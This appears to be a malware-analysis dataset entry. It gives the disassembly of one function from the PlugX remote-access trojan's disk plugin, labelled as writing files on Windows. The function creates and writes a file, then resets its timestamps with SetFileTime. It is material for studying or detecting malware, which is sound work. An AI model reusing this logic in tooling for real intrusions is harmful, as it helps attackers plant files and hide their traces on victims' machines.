Function at 0x1000f130
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, edx
mov ebx, ecx
push edi
mov dword [ebp - 4], ebx
lea ecx, [esi + 0x3c]
call fcn.1001b190
test eax, eax
je 0x1000f17f
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x3007
mov dword [esi + 0xc], eax
mov dword [esi + 8], 0
call fcn.1000e730
push 0x7530
push esi
push ebx
mov eax, dword [eax + 0x38]
call eax
test eax, eax
je 0x1000f1d7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push 0
push 1
push 0x40000000
lea eax, [esi + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000f1e0
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x3007
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0xc], eax
mov dword [esi + 8], 0
call fcn.1000e730
push 0x7530
push esi
push dword [ebp - 4]
mov eax, dword [eax + 0x38]
call eax
test eax, eax
jne 0x1000f3f8
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 2
lea eax, [esi + 0x30]
push eax
push dword [esi + 0x2c]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esi + 0x2c], eax
cmp eax, 0xffffffff
jne 0x1000f258
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1000f258
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x3007
call eax
push ebx
mov dword [esi + 0xc], eax
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000f23e
push eax
mov edx, 0x15f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
call fcn.1000e730
push 0x7530
push esi
push dword [ebp - 4]
mov eax, dword [eax + 0x38]
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [esi + 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [esi + 0x20]
mov dword [ebp - 0x14], ecx
mov ecx, dword [esi + 0x24]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x3007
mov dword [esi + 8], 0x2e
mov dword [esi + 0xc], 0
call fcn.1000e730
mov edi, dword [ebp - 4]
push 0x7530
push esi
mov eax, dword [eax + 0x38]
push edi
call eax
mov dword [ebp - 8], eax
test eax, eax
je 0x1000f2da
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000f2d0
push eax
mov edx, 0x17a
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.1000e730
push 0x7530
push esi
push edi
mov eax, dword [eax + 0x30]
call eax
mov edi, eax
test edi, edi
jne 0x1000f372
mov edi, dword [esi + 0xc]
test edi, edi
jne 0x1000f372
mov eax, dword [esi + 8]
test eax, eax
je 0x1000f372
cmp dword [esi + 4], 0x10003008
push edi
jne 0x1000f35b
lea ecx, [ebp - 8]
push ecx
push eax
lea eax, [esi + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1000f33c
call fcn.1000e730
push 0x7530
push esi
push dword [ebp - 4]
mov eax, dword [eax + 0x30]
call eax
mov edi, eax
test edi, edi
je 0x1000f2f5
jmp 0x1000f372
push 0
mov edx, 0x19c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 4
call eax
mov edi, eax
jmp 0x1000f372
mov edx, 0x195
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
mov edi, 0x54f
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1000f390
push eax
mov edx, 0x1a3
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
test eax, eax
jne 0x1000f3ae
push eax
mov edx, 0x1a8
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x1000f3d8
push eax
mov edx, 0x1ad
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000f3f6
push eax
mov edx, 0x1b2
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret